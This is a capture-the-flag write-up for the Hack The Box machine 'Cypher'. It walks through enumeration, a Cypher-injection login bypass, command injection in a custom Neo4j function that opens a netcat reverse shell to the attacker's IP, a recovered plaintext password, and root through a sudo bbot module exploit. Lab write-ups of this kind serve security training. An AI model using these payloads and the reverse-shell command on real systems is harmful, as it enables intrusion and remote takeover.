HTB - Cypher
HTB - Cypher⌗
Enumeration:⌗
# Nmap 7.95 scan initiated Sat May 10 21:51:16 2025 as: /usr/lib/nmap/nmap -v -p - -Pn -T4 -A -oN nmaptcp cypher.htb
Nmap scan report for cypher.htb (10.10.11.57)
Host is up (0.023s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
|_ 256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD
|_http-title: GRAPH ASM
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Uptime guess: 17.807 days (since Wed Apr 23 02:29:40 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 111/tcp)
HOP RTT ADDRESS
1 23.08 ms 10.10.14.1
2 23.21 ms cypher.htb (10.10.11.57)
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May 10 21:51:43 2025 -- 1 IP address (1 host up) scanned in 27.01 seconds
User exploit⌗
Looking at the nmap output, we can see two open ports, 22 (SSH) and 80 (web). The web port hosts an application named GRAPH ASM
and has a Try our free demo
button on the front page. When we click it, we get redirected to the login page.
There is not much to see for now, so let’s use GoBuster
to find more content.
$ gobuster dir -u http://cypher.htb -w /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://cypher.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/login (Status: 200) [Size: 3671]
/api (Status: 307) [Size: 0] [--> /api/docs]
/about (Status: 200) [Size: 4986]
/demo (Status: 307) [Size: 0] [--> /login]
/index (Status: 200) [Size: 4562]
/testing (Status: 301) [Size: 178] [--> http://cypher.htb/testing/]
/index (Status: 200) [Size: 4562]
Progress: 62281 / 62282 (100.00%)
===============================================================
Finished
===============================================================
The /testing/
subdirectory seems interesting, and shows us a directory listing with a single file, custom-apoc-extension-1.0-SNAPSHOT.jar
. Let’s keep this file somewhere safe for now, we’ll get back to it later.
Looking at the HTML source code for the login page, we see a comment hinting that the credentials are stored in a neo4j
graph database (// TODO: don't store user accounts in neo4j
). By playing around a little bit with the login form and adding a single quote to our username, we produce a pretty nasty error that reveals a lot of details about the application. Most importantly, we can see the query that caused the error.
HTTP/1.1 400 Bad Request
Server: nginx/1.24.0 (Ubuntu)
Date: Sun, 11 May 2025 03:53:45 GMT
Content-Length: 3472
Connection: keep-alive
Traceback (most recent call last):
File "/app/app.py", line 142, in verify_creds
results = run_cypher(cypher)
File "/app/app.py", line 63, in run_cypher
return [r.data() for r in session.run(cypher)]
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/session.py", line 314, in run
self._auto_result._run(
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 221, in _run
self._attach()
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 409, in _attach
self._connection.fetch_message()
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 178, in inner
func(*args, **kwargs)
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt.py", line 860, in fetch_message
res = self._process_message(tag, fields)
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt5.py", line 370, in _process_message
response.on_failure(summary_metadata or {})
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure
raise Neo4jError.hydrate(**metadata)
neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} {message: Failed to parse string literal. The query must contain an even number of non-escaped quotes. (line 1, column 63 (offset: 62))
"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'dax'' return h.value as hash"
^}
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/app/app.py", line 165, in login
creds_valid = verify_creds(username, password)
File "/app/app.py", line 151, in verify_creds
raise ValueError(f"Invalid cypher query: {cypher}: {traceback.format_exc()}")
ValueError: Invalid cypher query: MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'dax'' return h.value as hash: Traceback (most recent call last):
File "/app/app.py", line 142, in verify_creds
results = run_cypher(cypher)
File "/app/app.py", line 63, in run_cypher
return [r.data() for r in session.run(cypher)]
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/session.py", line 314, in run
self._auto_result._run(
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 221, in _run
self._attach()
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 409, in _attach
self._connection.fetch_message()
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 178, in inner
func(*args, **kwargs)
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt.py", line 860, in fetch_message
res = self._process_message(tag, fields)
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt5.py", line 370, in _process_message
response.on_failure(summary_metadata or {})
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure
raise Neo4jError.hydrate(**metadata)
neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} {message: Failed to parse string literal. The query must contain an even number of non-escaped quotes. (line 1, column 63 (offset: 62))
"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'dax'' return h.value as hash"
^}
The query "MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'dax' return h.value as hash"
is a cypher query that is used to communicate with a neo4j graph database. Specifically, here we are trying to find a USER
that has a SECRET
relation to some SHA1
value (the hashed version of the user’s password) where the username is the one we provided. We then take the value of the hash at the end of the relation and return it as hash
. We can presume that this variable is then used to compare to the hash of the password we provided in the POST request.
Just like regular SQL, if untrusted user input is directly used in the query, injection is possible, as shown by the error above. To log in, we can trick the query so that it returns a hash that matches the password we send in the request. In this case, sha1("password")
.
POST /api/auth HTTP/1.1
Host: cypher.htb
User-Agent: Mozilla/5.0 (X11; Linux x86*64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */\_
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 112
Origin: http://cypher.htb
Connection: keep-alive
Referer: http://cypher.htb/login
Priority: u=0
{"username":"' OR 1=1 return '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8' as hash // ","password":"password"}
HTTP/1.1 200 OK
Server: nginx/1.24.0 (Ubuntu)
Date: Sun, 11 May 2025 02:59:02 GMT
Content-Length: 2
Connection: keep-alive
set-cookie: access-token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJncmFwaGFzbScgcmV0dXJuICc1YmFhNjFlNGM5YjkzZjNmMDY4MjI1MGI2Y2Y4MzMxYjdlZTY4ZmQ4JyBhcyBoYXNoIC8vICIsImV4cCI6MTc0Njk3NTU0Mn0.RfIpNV_w21DUzd7jUmgjMV2biDsnIUehmmuZw4fGYb0; Path=/; SameSite=lax
ok
We can put this new access token in our cookies and try to access the demo page again. This time we are greeted with a simple UI that allows us to execute arbitrary cypher queries.
We can play around with this for a little bit, but the information we need is in the file that we downloaded at the very beginning, custom-apoc-extension-1.0-SNAPSHOT.jar
. We can open the jar file with jd-gui
and take a look inside. There is not much, but the CustomFunctions.class
file is interesting.
There is a clear command injection vulnerability in the getUrlStatusCode
function, which appends the url parameter to a curl command executed directly through /bin/sh -c
. In the query field of the application, we can validate that this function exists using the SHOW procedures
query and confirm that custom.getUrlStatusCode
is indeed in the results. Let’s use it to get a shell (CALL custom.getUrlStatusCode('http://10.10.14.23:8000;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.23 5555 >/tmp/f')
).
GET /api/cypher?query=CALL+custom.getUrlStatusCode('http%3a//10.10.14.23%3a8000%3brm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|sh+-i+2>%261|nc+10.10.14.23+5555+>/tmp/f') HTTP/1.1
Host: cypher.htb
User-Agent: Mozilla/5.0 (X11; Linux x86*64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/javascript, */\_; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Referer: http://cypher.htb/demo
Cookie: access-token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJncmFwaGFzbScgcmV0dXJuICc1YmFhNjFlNGM5YjkzZjNmMDY4MjI1MGI2Y2Y4MzMxYjdlZTY4ZmQ4JyBhcyBoYXNoIC8vICIsImV4cCI6MTc0Njk3NTU0Mn0.RfIpNV_w21DUzd7jUmgjMV2biDsnIUehmmuZw4fGYb0
Priority: u=0
We then get a shell back with the user neo4j
. This does not give us the user flag directly, but by looking around a little bit, we find the file bbot_preset.yml
in the home folder of the graphasm
user which contains a password.
$ cat /home/graphasm/bbot_preset.yml
targets:
- ecorp.htb
output_dir: /home/graphasm/bbot_scans
config:
modules:
neo4j:
username: neo4j
password: cU4btyib.20xtCMCXkBmerhK
We can use this new password to log into SSH with the graphasm
user and get the user flag.
Root exploit⌗
We can start by running sudo -l
to see if we can run anything as root.
$ sudo -l
Matching Defaults entries for graphasm on cypher:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User graphasm may run the following commands on cypher:
(ALL) NOPASSWD: /usr/local/bin/bbot
This tells us that we can run bbot
as root without providing any password. As per their Github page, BEE·bot is a multipurpose scanner inspired by Spiderfoot, built to automate your Recon, Bug Bounties, and ASM!
. Let’s first look at which version of bbot
is installed.
$ /usr/local/bin/bbot --version
______ _____ ____ _______
| ___ \| __ \ / __ \__ __|
| |___) | |__) | | | | | |
| ___ <| __ <| | | | | |
| |___) | |__) | |__| | | |
|______/|_____/ \____/ |_|
BIGHUGE BLS OSINT TOOL v2.1.0.4939rc
www.blacklanternsecurity.com/bbot
[INFO] Creating BBOT config at /home/graphasm/.config/bbot/bbot.yml
[INFO] Creating BBOT secrets at /home/graphasm/.config/bbot/secrets.yml
v2.1.0.4939rc
A quick Google search on that version leads us to a Local Privilege Escalation via Malicious Module Execution
. We simply clone the Github repo, upload the yaml and python files to the machine and run bbot
to get a root shell, and the root flag.
$ sudo /usr/local/bin/bbot -t dummy.com -p /var/tmp/preset.yml --event-types ROOT
______ _____ ____ _______
| ___ \| __ \ / __ \__ __|
| |___) | |__) | | | | | |
| ___ <| __ <| | | | | |
| |___) | |__) | |__| | | |
|______/|_____/ \____/ |_|
BIGHUGE BLS OSINT TOOL v2.1.0.4939rc
www.blacklanternsecurity.com/bbot
[INFO] Scan with 1 modules seeded with 1 targets (1 in whitelist)
[INFO] Loaded 1/1 scan modules (systeminfo_enum)
[INFO] Loaded 5/5 internal modules (aggregate,cloudcheck,dnsresolve,excavate,speculate)
[INFO] Loaded 5/5 output modules, (csv,json,python,stdout,txt)
[SUCC] systeminfo_enum: 📡 systeminfo_enum setup called — launching shell!
$ cd
$ ls
root.txt
$ cat root.txt
a75a37d026101b396ff1393b051ecbe3
It is worth noting that even without the RCE, it is still possible to use bbot
to read arbitrary files on the file system since you can pass it a file name and it will try to resolve its content as DNS names.
$ sudo /usr/local/bin/bbot -em unstructured -t /root/root.txt
______ _____ ____ _______
| ___ \| __ \ / __ \__ __|
| |___) | |__) | | | | | |
| ___ <| __ <| | | | | |
| |___) | |__) | |__| | | |
|______/|_____/ \____/ |_|
BIGHUGE BLS OSINT TOOL v2.1.0.4939rc
www.blacklanternsecurity.com/bbot
[INFO] Reading targets from file: /root/root.txt
[INFO] Scan with 0 modules seeded with 1 targets (1 in whitelist)
[WARN] No scan modules to load
[INFO] Loaded 5/5 internal modules (aggregate,cloudcheck,dnsresolve,excavate,speculate)
[INFO] Loaded 5/5 output modules, (csv,json,python,stdout,txt)
[INFO] internal.excavate: Compiling 11 YARA rules
[INFO] internal.speculate: No portscanner enabled. Assuming open ports: 80, 443
[SUCC] Setup succeeded for 12/12 modules.
[SUCC] Scan ready. Press enter to execute psychedelic_cody
[SUCC] Starting scan psychedelic_cody
[SCAN] psychedelic_cody (SCAN:decb36406b78ceec3a4fc40ae3f5461d8e473df1) TARGET (in-scope, target)
[INFO] psychedelic_cody: Modules running (incoming:processing:outgoing) dnsresolve(0:1:0)
[INFO] psychedelic_cody: Events produced so far: SCAN: 1
[INFO] psychedelic_cody: No events in queue (9 processed in the past 15 seconds)
[DNS_NAME_UNRESOLVED] a75a37d026101b396ff1393b051ecbe3 TARGET (a-error, aaaa-error, cname-error, in-scope, mx-error, ns-error, soa-error, srv-error, target, txt-error, unresolved)
[INFO] Finishing scan
[SCAN] psychedelic_cody (SCAN:decb36406b78ceec3a4fc40ae3f5461d8e473df1) TARGET (in-scope)
[SUCC] Scan psychedelic_cody completed in 21 seconds with status FINISHED
[INFO] aggregate: +------------+------------+---------------------------+
[INFO] aggregate: | Module | Produced | Consumed |
[INFO] aggregate: +============+============+===========================+
[INFO] aggregate: | dnsresolve | 0 | 1 (1 DNS_NAME) |
[INFO] aggregate: +------------+------------+---------------------------+
[INFO] aggregate: | cloudcheck | 0 | 1 (1 DNS_NAME_UNRESOLVED) |
[INFO] aggregate: +------------+------------+---------------------------+
[INFO] aggregate: | speculate | 0 | 1 (1 DNS_NAME_UNRESOLVED) |
[INFO] aggregate: +------------+------------+---------------------------+
[INFO] output.csv: Saved CSV output to /root/.bbot/scans/psychedelic_cody/output.csv
[INFO] output.json: Saved JSON output to /root/.bbot/scans/psychedelic_cody/output.json
[INFO] output.txt: Saved TXT output to /root/.bbot/scans/psychedelic_cody/output.txt
[INFO] Saved word cloud (19 words) to /root/.bbot/scans/psychedelic_cody/wordcloud.tsv
Resources:⌗
Hyperlink | Info |
---|---|
https://github.com/OJ/gobuster | GoBuster |
https://java-decompiler.github.io/ | Java Decompiler |
https://neo4j.com/ | Neo4j |
https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits | Neo4jection: Secrets, Data, and Cloud Exploits |
https://github.com/blacklanternsecurity/bbot | BBOT |
https://seclists.org/fulldisclosure/2025/Apr/19?&web_view=true | BBOT 2.1.0 - Local Privilege Escalation via Malicious Module Execution |
https://github.com/Housma/bbot-privesc | BBOT Privilege Escalation Module: systeminfo_enum |